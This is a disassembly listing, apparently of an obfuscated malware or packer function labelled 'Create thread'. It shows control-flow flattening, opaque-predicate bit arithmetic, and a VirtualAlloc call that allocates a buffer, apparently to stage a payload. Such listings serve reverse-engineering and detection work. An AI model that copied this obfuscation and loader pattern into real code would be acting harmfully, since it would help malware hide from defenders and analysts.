Function at 0x469680
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x484
xor eax, eax
mov ecx, dword [0x4a4094]
mov edx, dword [0x4a4098]
mov esi, ecx
sub esi, 0x1d2b0824
sub esi, 0xac7f0605
add esi, 0x1d2b0824
add esi, 0x552f0eaf
sub esi, 0x7dade8c7
sub esi, 0x552f0eaf
add esi, 0x51658304
add esi, 0xac7f0605
sub esi, 0x51658304
mov edi, eax
sub edi, 0x88969546
sub edi, 1
add edi, 0x88969546
mov ebx, eax
sub ebx, edi
sub esi, ebx
sub eax, 0x7dade8c7
add eax, 0
add esi, 0xcdec00c0
sub esi, eax
sub esi, 0xcdec00c0
imul ecx, esi
and ecx, 1
cmp ecx, 0
sete al
and al, 1
mov byte [ebp - 0x22], al
cmp edx, 0xa
setl al
and al, 1
mov byte [ebp - 0x21], al
mov dword [ebp - 0x28], 0x9e26c818
mov eax, dword [ebp - 0x28]
mov ecx, eax
sub ecx, 0x83af5fdf
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
je 0x470437
jmp 0x46973e
mov eax, dword [ebp - 0x2c]
sub eax, 0x8bc170b6
mov dword [ebp - 0x34], eax
je 0x46ebff
jmp 0x469754
mov eax, dword [ebp - 0x2c]
sub eax, 0x96a5e5ca
mov dword [ebp - 0x38], eax
je 0x4703bd
jmp 0x46976a
mov eax, dword [ebp - 0x2c]
sub eax, 0x9e26c818
mov dword [ebp - 0x3c], eax
je 0x4698e5
jmp 0x469780
mov eax, dword [ebp - 0x2c]
sub eax, 0xa3005360
mov dword [ebp - 0x40], eax
je 0x46e51a
jmp 0x469796
mov eax, dword [ebp - 0x2c]
sub eax, 0xa8b9ddb7
mov dword [ebp - 0x44], eax
je 0x46c8e9
jmp 0x4697ac
mov eax, dword [ebp - 0x2c]
sub eax, 0xb147788c
mov dword [ebp - 0x48], eax
je 0x46ceb9
jmp 0x4697c2
mov eax, dword [ebp - 0x2c]
sub eax, 0xb8ae0892
mov dword [ebp - 0x4c], eax
je 0x47026f
jmp 0x4697d8
mov eax, dword [ebp - 0x2c]
sub eax, 0xc3a69a74
mov dword [ebp - 0x50], eax
je 0x46b9f3
jmp 0x4697ee
mov eax, dword [ebp - 0x2c]
sub eax, 0xe7f6fc53
mov dword [ebp - 0x54], eax
je 0x470443
jmp 0x469804
mov eax, dword [ebp - 0x2c]
sub eax, 0xed5ed257
mov dword [ebp - 0x58], eax
je 0x46ee11
jmp 0x46981a
mov eax, dword [ebp - 0x2c]
sub eax, 0xeef87098
mov dword [ebp - 0x5c], eax
je 0x46e879
jmp 0x469830
mov eax, dword [ebp - 0x2c]
sub eax, 0x3f83ace
mov dword [ebp - 0x60], eax
je 0x46e526
jmp 0x469846
mov eax, dword [ebp - 0x2c]
sub eax, 0xcedefb4
mov dword [ebp - 0x64], eax
je 0x470309
jmp 0x46985c
mov eax, dword [ebp - 0x2c]
sub eax, 0x260afab2
mov dword [ebp - 0x68], eax
je 0x46ba0e
jmp 0x469872
mov eax, dword [ebp - 0x2c]
sub eax, 0x378f2fef
mov dword [ebp - 0x6c], eax
je 0x46ce9e
jmp 0x469888
mov eax, dword [ebp - 0x2c]
sub eax, 0x3cc2e1ad
mov dword [ebp - 0x70], eax
je 0x46ec0b
jmp 0x46989e
mov eax, dword [ebp - 0x2c]
sub eax, 0x505ee07f
mov dword [ebp - 0x74], eax
je 0x470277
jmp 0x4698b4
mov eax, dword [ebp - 0x2c]
sub eax, 0x59c96fe1
mov dword [ebp - 0x78], eax
je 0x46ded9
jmp 0x4698ca
mov eax, dword [ebp - 0x2c]
sub eax, 0x6f9cc646
mov dword [ebp - 0x7c], eax
je 0x46a4ec
jmp 0x4698e0
jmp 0x47044a
mov eax, 0x505ee07f
mov ecx, 0x6f9cc646
mov dl, 1
mov dh, byte [ebp - 0x22]
mov bl, byte [ebp - 0x21]
mov bh, dh
xor bh, 0xff
and bh, 0
mov dword [ebp - 0x80], eax
mov al, dl
xor al, 0
mov ah, dh
and ah, al
mov byte [ebp - 0x81], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x82], al
mov al, byte [ebp - 0x81]
and al, 1
or bh, ah
mov ah, byte [ebp - 0x82]
or ah, al
xor bh, ah
mov al, dl
xor al, 0
xor bh, 0xff
mov ah, dl
xor ah, 1
or al, bh
or ah, 1
xor al, 0xff
and al, ah
mov ah, dl
xor ah, 0
and ah, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x83], al
mov al, bh
and al, 0
mov byte [ebp - 0x84], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x85], al
mov al, byte [ebp - 0x84]
or ah, al
mov al, byte [ebp - 0x85]
or al, bh
xor ah, al
mov al, ah
xor al, 0xff
mov bh, dh
xor bh, al
and bh, dh
mov al, dl
xor al, 1
and al, 1
mov byte [ebp - 0x86], al
mov al, dl
xor al, 1
and al, 1
mov byte [ebp - 0x87], al
mov al, byte [ebp - 0x86]
mov dword [ebp - 0x8c], ecx
mov cl, byte [ebp - 0x87]
or al, cl
xor al, 0xff
mov cl, dl
xor cl, 0
mov ch, dl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, byte [ebp - 0x83]
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov byte [ebp - 0x8d], al
mov al, dl
xor al, 1
mov byte [ebp - 0x8e], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x8f], al
mov al, byte [ebp - 0x83]
mov byte [ebp - 0x90], cl
mov cl, byte [ebp - 0x8e]
and al, cl
mov cl, ch
and cl, 0xff
mov byte [ebp - 0x91], al
mov al, byte [ebp - 0x8e]
and bh, al
mov al, byte [ebp - 0x8f]
mov byte [ebp - 0x92], cl
mov cl, byte [ebp - 0x91]
or al, cl
mov cl, byte [ebp - 0x92]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x90]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x8e]
or ch, 1
and cl, ch
or al, cl
mov cl, byte [ebp - 0x8d]
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x93], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x94], al
mov al, byte [ebp - 0x8d]
and al, bh
mov byte [ebp - 0x95], al
mov al, ch
and al, 0xff
and ah, bh
mov byte [ebp - 0x96], al
mov al, byte [ebp - 0x94]
mov byte [ebp - 0x97], cl
mov cl, byte [ebp - 0x95]
or al, cl
mov cl, byte [ebp - 0x96]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x97]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x93]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x93]
and ch, ah
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ah
or cl, ch
or bh, al
xor cl, bh
mov al, bl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, bl
and ch, ah
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, bl
xor ch, ah
and ch, bl
mov ah, al
xor ah, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x98], al
mov al, dl
xor al, 0
mov byte [ebp - 0x99], al
mov al, ah
and al, 0
mov byte [ebp - 0x9a], al
mov al, byte [ebp - 0x98]
mov byte [ebp - 0x9b], cl
mov cl, byte [ebp - 0x99]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x9c], al
mov al, byte [ebp - 0x99]
and ch, al
mov al, byte [ebp - 0x9a]
mov byte [ebp - 0x9d], cl
mov cl, byte [ebp - 0x9c]
or al, cl
mov cl, byte [ebp - 0x9d]
or cl, ch
xor al, cl
or ah, bh
xor ah, 0xff
mov cl, byte [ebp - 0x99]
or cl, 0
and ah, cl
or al, ah
mov cl, dl
xor cl, 1
and cl, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 1
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, ch
or bh, ah
xor cl, bh
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
mov bh, ch
and bh, 1
mov byte [ebp - 0x9e], al
mov al, dl
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x9f], al
and al, 0xff
and ah, bh
mov byte [ebp - 0xa0], al
mov al, ch
and al, 0xff
and cl, bh
mov byte [ebp - 0xa1], al
mov al, byte [ebp - 0xa0]
or al, ah
mov ah, byte [ebp - 0xa1]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x9f]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or cl, ch
or bh, ah
xor cl, bh
mov ah, byte [ebp - 0x9b]
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov bh, byte [ebp - 0x9b]
and bh, ch
mov byte [ebp - 0xa2], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or ah, bh
or al, cl
xor ah, al
xor ah, 0xff
mov al, byte [ebp - 0x9b]
xor al, 0xff
mov cl, dl
xor cl, 1
or ah, al
or cl, 1
xor ah, 0xff
and ah, cl
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and dh, cl
or al, dh
mov cl, byte [ebp - 0xa2]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0xa2]
and dh, ch
or cl, dh
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
or ch, dh
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, ch
and al, 0
xor ch, 0
or al, ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, dh
or bh, ch
xor cl, bh
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, byte [ebp - 0x9e]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, byte [ebp - 0x9e]
and dh, cl
or al, dh
mov cl, dl
xor cl, 1
and cl, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0xa3], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, byte [ebp - 0xa3]
xor dh, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xa4], al
mov al, dl
xor al, 0
mov byte [ebp - 0xa5], al
mov al, dh
and al, 0
mov byte [ebp - 0xa6], al
mov al, byte [ebp - 0xa3]
mov byte [ebp - 0xa7], cl
mov cl, byte [ebp - 0xa5]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0xa8], al
mov al, byte [ebp - 0xa7]
mov byte [ebp - 0xa9], cl
mov cl, byte [ebp - 0xa5]
and al, cl
mov cl, byte [ebp - 0xa6]
mov byte [ebp - 0xaa], al
mov al, byte [ebp - 0xa8]
or cl, al
mov al, byte [ebp - 0xa9]
mov byte [ebp - 0xab], cl
mov cl, byte [ebp - 0xaa]
or al, cl
mov cl, byte [ebp - 0xab]
xor cl, al
or dh, bh
xor dh, 0xff
mov al, byte [ebp - 0xa5]
or al, 0
and dh, al
or cl, dh
mov al, byte [ebp - 0xa4]
and al, 1
mov dh, byte [ebp - 0xa4]
xor dh, 1
or al, dh
mov dh, cl
xor dh, 0xff
and dh, 1
mov bh, dl
xor bh, 1
and cl, bh
mov byte [ebp - 0xac], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
or dh, cl
or al, bh
xor dh, al
xor dh, 0xff
mov al, byte [ebp - 0xac]
xor al, 0xff
mov cl, dl
xor cl, 0
or dh, al
or cl, 0
xor dh, 0xff
and dh, cl
mov al, byte [ebp - 0xa2]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0xa2]
and bh, cl
or al, bh
mov cl, bl
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0xad], al
mov al, bl
and al, bh
mov byte [ebp - 0xae], al
mov al, byte [ebp - 0xad]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xaf], al
mov al, byte [ebp - 0xad]
and al, bh
mov bh, byte [ebp - 0xae]
or cl, bh
mov bh, byte [ebp - 0xaf]
or bh, al
xor cl, bh
xor bl, 0xff
mov al, cl
xor al, bl
and al, cl
mov cl, ah
xor cl, 0xff
and cl, 0
mov bl, dl
xor bl, 0
mov bh, ah
and bh, bl
mov byte [ebp - 0xb0], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, ch
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, ch
and bh, bl
mov byte [ebp - 0xb1], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0xb2], al
mov al, byte [ebp - 0xb1]
or al, bh
mov bh, byte [ebp - 0xb2]
or bh, bl
xor al, bh
mov bl, dl
xor bl, 0
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0xb3], al
mov al, bh
and al, 0
mov byte [ebp - 0xb4], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0xb5], al
mov al, byte [ebp - 0xb4]
or bl, al
mov al, byte [ebp - 0xb5]
or al, bh
xor bl, al
mov al, dl
xor al, 0
mov bh, cl
xor bh, al
and bh, cl
mov al, bl
xor al, 0xff
mov byte [ebp - 0xb6], al
mov al, ah
mov byte [ebp - 0xb7], cl
mov cl, byte [ebp - 0xb6]
xor al, cl
and al, ah
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0xb3]
xor ah, cl
mov cl, byte [ebp - 0xb3]
and ah, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0xb8], al
mov al, ch
xor al, cl
and al, ch
mov cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0xb8]
xor ch, 0xff
mov byte [ebp - 0xb9], al
mov al, dl
xor al, 1
mov byte [ebp - 0xba], al
mov al, cl
and al, 0xff
mov byte [ebp - 0xbb], al
mov al, byte [ebp - 0xba]
and bh, al
mov al, ch
and al, 0xff
mov byte [ebp - 0xbc], al
mov al, byte [ebp - 0xb8]
mov byte [ebp - 0xbd], cl
mov cl, byte [ebp - 0xba]
and al, cl
mov cl, byte [ebp - 0xbb]
or cl, bh
mov bh, byte [ebp - 0xbc]
or bh, al
xor cl, bh
mov al, byte [ebp - 0xbd]
or al, ch
xor al, 0xff
mov ch, byte [ebp - 0xba]
or ch, 1
and al, ch
or cl, al
mov al, ah
mov ch, byte [ebp - 0xb9]
and al, ch
xor ah, ch
or al, ah
mov ah, cl
xor ah, 0xff
mov bh, al
and bh, ah
xor al, 0xff
and cl, al
or bh, cl
mov al, byte [ebp - 0xb7]
xor al, 0xff
mov cl, byte [ebp - 0xb3]
xor cl, 0xff
mov ah, dl
xor ah, 1
mov ch, al
and ch, 0xff
mov byte [ebp - 0xbe], al
mov al, byte [ebp - 0xb7]
and al, ah
mov byte [ebp - 0xbf], al
mov al, cl
and al, 0xff
mov byte [ebp - 0xc0], al
mov al, byte [ebp - 0xb3]
and al, ah
mov byte [ebp - 0xc1], al
mov al, byte [ebp - 0xbf]
or ch, al
mov al, byte [ebp - 0xc0]
mov byte [ebp - 0xc2], cl
mov cl, byte [ebp - 0xc1]
or al, cl
xor ch, al
mov al, byte [ebp - 0xbe]
mov cl, byte [ebp - 0xc2]
or al, cl
xor al, 0xff
or ah, 1
and al, ah
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and ch, ah
or al, ch
mov ah, bl
and ah, 0
xor bl, 0
or ah, bl
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, bh
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 0
mov cl, al
and cl, 0
and bh, bl
mov byte [ebp - 0xc3], al
mov al, ah
and al, 0
and ch, bl
or cl, bh
or al, ch
xor cl, al
mov al, byte [ebp - 0xc3]
or al, ah
xor al, 0xff
or bl, 0
and al, bl
or cl, al
mov al, dh
xor al, 0xff
mov ah, byte [ebp - 0xb0]
xor ah, 0xff
mov ch, dl
xor ch, 1
or al, ah
or ch, 1
xor al, 0xff
and al, ch
mov ah, dh
xor ah, 0xff
mov ch, byte [ebp - 0xb0]
and ch, ah
mov ah, byte [ebp - 0xb0]
xor ah, 0xff
and dh, ah
or ch, dh
mov ah, al
and ah, ch
xor al, ch
or ah, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov dh, cl
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or al, dh
or bl, ch
xor al, bl
mov ch, ah
xor ch, 0xff
xor al, 0xff
mov dh, dl
xor dh, 0
or ch, al
or dh, 0
xor ch, 0xff
and ch, dh
mov al, ah
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
and ah, dh
or al, ah
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, ch
and al, cl
xor ch, cl
or al, ch
mov cl, byte [ebp - 0x9b]
xor cl, 0xff
mov ah, byte [ebp - 0x9e]
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, byte [ebp - 0x9b]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x9b]
and dh, ch
mov bl, byte [ebp - 0x9e]
xor bl, 0xff
and bl, 0xff
mov bh, byte [ebp - 0x9e]
and bh, ch
or ah, dh
or bl, bh
xor ah, bl
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov dh, ch
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, dh
or bl, ah
xor cl, bl
mov ah, dl
xor ah, 1
xor cl, 0xff
mov dh, dl
xor dh, 1
or ah, cl
or dh, 1
xor ah, 0xff
and ah, dh
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
and dh, 1
or cl, dh
xor cl, 0xff
mov dh, ch
xor dh, cl
and dh, ch
mov cl, ah
and cl, dh
xor ah, dh
or cl, ah
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0xa2]
xor ch, 0xff
mov dh, dl
xor dh, 1
or ah, ch
or dh, 1
xor ah, 0xff
and ah, dh
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, byte [ebp - 0xa2]
xor bh, 0xff
and bh, 0
mov byte [ebp - 0xc4], al
mov al, byte [ebp - 0xa2]
and al, dh
or ch, bl
or bh, al
xor ch, bh
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
and cl, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or ah, cl
or dh, ch
xor ah, dh
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and al, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or cl, al
or dh, ch
xor cl, dh
mov al, dl
xor al, 1
and al, 0
mov ch, dl
xor ch, 0
mov dh, ch
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or al, dh
or bl, ch
xor al, bl
mov ch, ah
and ch, cl
xor ah, cl
or ch, ah
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, ch
or dh, ah
xor al, dh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, byte [ebp - 0xc4]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0xc4]
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0xff
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or cl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, byte [ebp - 0xc4]
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0xc5], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, dl
xor al, 1
mov bh, cl
xor bh, al
and bh, cl
mov al, ch
xor al, 0xff
mov byte [ebp - 0xc6], al
mov al, ah
mov byte [ebp - 0xc7], cl
mov cl, byte [ebp - 0xc6]
xor al, cl
and al, ah
mov cl, bl
and cl, dh
xor bl, dh
or cl, bl
mov ah, bh
and ah, al
xor bh, al
or ah, bh
mov al, cl
xor al, 0xff
mov dh, ah
and dh, al
xor ah, 0xff
and cl, ah
or dh, cl
mov al, byte [ebp - 0xc5]
xor al, 0xff
mov cl, byte [ebp - 0xc7]
xor cl, 0xff
mov ah, dl
xor ah, 1
mov bl, al
and bl, 0xff
mov bh, byte [ebp - 0xc5]
and bh, ah
mov byte [ebp - 0xc8], al
mov al, cl
and al, 0xff
mov byte [ebp - 0xc9], al
mov al, byte [ebp - 0xc7]
and al, ah
or bl, bh
mov bh, byte [ebp - 0xc9]
or bh, al
xor bl, bh
mov al, byte [ebp - 0xc8]
or al, cl
xor al, 0xff
or ah, 1
and al, ah
or bl, al
mov al, bl
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bl, cl
or al, bl
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dh
xor al, 0xff
mov cl, ah
xor cl, 0xff
xor dl, 0
mov ch, al
and ch, 0
and dh, dl
mov bl, cl
and bl, 0
and ah, dl
or ch, dh
or bl, ah
xor ch, bl
or al, cl
xor al, 0xff
or dl, 0
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0x80]
mov edi, dword [ebp - 0x8c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x47044a
lea eax, str.Ha73NDsZTIp62LarvPkzxYAaWfd
push eax
mov ecx, esp
mov dword [ebp - 0x20], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x1c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x18], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x14], ecx
sub esp, 4
mov dword [esp], eax
call fcn.004681e0
add esp, 4
xor ecx, ecx
mov edx, 0x2d200
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2d200
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov dword [ebp - 0xd0], edi
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xdc], esi
call sub.KERNEL32.dll_VirtualAlloc
mov ecx, 0x505ee07f
mov edx, 0xc3a69a74
mov bl, 1
xor esi, esi
mov edi, 0x37d29d56
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xe4], ecx
mov ecx, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xe], bh
mov eax, dword [0x4a4094]
mov ecx, dword [0x4a4098]
mov dword [ebp - 0xe8], eax
add eax, 0x2bea6038
add eax, 0xa7e50438
sub eax, 0x2bea6038
sub eax, 0xfd777c1
sub eax, 0x45869de1
add eax, 0xfd777c1
mov dword [ebp - 0xec], eax
mov eax, esi
sub eax, 0xa7e50438
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf4], ecx
mov ecx, dword [ebp - 0xf0]
add eax, ecx
sub eax, 0x6b4aea98
sub eax, 0x1c68ddb8
add eax, 0x6b4aea98
mov ecx, esi
sub ecx, 1
add eax, ecx
mov ecx, esi
sub ecx, 0x1c68ddb8
sub eax, ecx
mov ecx, esi
sub ecx, eax
add ecx, 0
add edi, 0
sub edi, 0x45869de1
sub edi, 0x37d29d56
sub ecx, 0xb72ef7c1
add ecx, edi
add ecx, 0xb72ef7c1
sub esi, ecx
add esi, 0
mov eax, dword [ebp - 0xe8]
imul eax, esi
and eax, 1
cmp eax, 0
sete bh
mov eax, dword [ebp - 0xf4]
cmp eax, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
or ah, ch
mov cl, bl
xor cl, 1
xor ah, 0xff
mov ch, bl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, bl
xor ah, 1
and ah, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0xf5], al
mov al, ch
and al, 1
mov byte [ebp - 0xf6], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0xf7], al
mov al, byte [ebp - 0xf6]
or ah, al
mov al, byte [ebp - 0xf7]
or al, ch
xor ah, al
mov al, bh
xor al, 0xff
xor ah, 0xff
mov ch, bl
xor ch, 0
or al, ah
or ch, 0
xor al, 0xff
and al, ch
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xf8], al
mov al, bl
xor al, 1
mov byte [ebp - 0xf9], al
mov al, ah
and al, 0xff
mov byte [ebp - 0xfa], al
mov al, byte [ebp - 0xf9]
and cl, al
mov al, ch
and al, 0xff
mov byte [ebp - 0xfb], al
mov al, byte [ebp - 0xf8]
mov byte [ebp - 0xfc], cl
mov cl, byte [ebp - 0xf9]
and al, cl
mov cl, byte [ebp - 0xfa]
mov byte [ebp - 0xfd], al
mov al, byte [ebp - 0xfc]
or cl, al
mov al, byte [ebp - 0xfb]
mov byte [ebp - 0xfe], cl
mov cl, byte [ebp - 0xfd]
or al, cl
mov cl, byte [ebp - 0xfe]
xor cl, al
or ah, ch
xor ah, 0xff
mov al, byte [ebp - 0xf9]
or al, 1
and ah, al
or cl, ah
mov al, byte [ebp - 0xf5]
xor al, 0xff
and al, 1
mov ah, bl
xor ah, 1
mov ch, byte [ebp - 0xf5]
and ch, ah
mov byte [ebp - 0xff], al
mov al, bl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x100], al
mov al, byte [ebp - 0xff]
or al, ch
mov ch, byte [ebp - 0x100]
or ch, ah
xor al, ch
xor al, 0xff
xor al, 0
and al, 0
mov ah, bl
xor ah, 0
and ah, 1
mov ch, bl
xor ch, 1
and ch, 0
or ah, ch
mov ch, byte [ebp - 0xf5]
xor ch, 0xff
mov byte [ebp - 0x101], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x102], al
mov al, bl
xor al, 0
mov byte [ebp - 0x103], al
mov al, byte [ebp - 0x102]
or ch, al
mov al, byte [ebp - 0x103]
or al, 0
xor ch, 0xff
and ch, al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x104], al
mov al, bl
xor al, 1
and al, 1
mov byte [ebp - 0x105], al
mov al, byte [ebp - 0x104]
mov byte [ebp - 0x106], cl
mov cl, byte [ebp - 0x105]
or al, cl
xor al, 0xff
mov cl, bl
xor cl, 0
mov byte [ebp - 0x107], al
mov al, bl
xor al, 1
mov byte [ebp - 0x108], al
mov al, byte [ebp - 0x107]
or al, cl
mov cl, byte [ebp - 0x108]
or cl, 1
xor al, 0xff
and al, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, byte [ebp - 0x101]
and cl, ch
mov byte [ebp - 0x109], al
mov al, byte [ebp - 0x101]
xor al, ch
or cl, al
mov al, byte [ebp - 0x109]
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x10a], al
mov al, bl
xor al, 1
mov byte [ebp - 0x10b], al
mov al, byte [ebp - 0x10a]
and al, 0xff
mov byte [ebp - 0x10c], al
mov al, byte [ebp - 0x109]
mov byte [ebp - 0x10d], cl
mov cl, byte [ebp - 0x10b]
and al, cl
mov cl, ch
and cl, 0xff
mov byte [ebp - 0x10e], al
mov al, byte [ebp - 0x10b]
and ah, al
mov al, byte [ebp - 0x10c]
mov byte [ebp - 0x10f], cl
mov cl, byte [ebp - 0x10e]
or al, cl
mov cl, byte [ebp - 0x10f]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x10a]
or cl, ch
xor cl, 0xff
mov ah, byte [ebp - 0x10b]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x10d]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x10d]
and cl, al
or ah, cl
